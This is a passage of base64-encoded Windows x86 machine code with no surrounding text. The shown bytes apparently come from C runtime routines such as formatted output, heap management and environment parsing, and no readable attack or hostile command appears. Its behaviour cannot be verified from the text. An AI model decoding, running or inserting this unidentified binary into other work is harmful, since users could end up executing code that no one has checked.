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 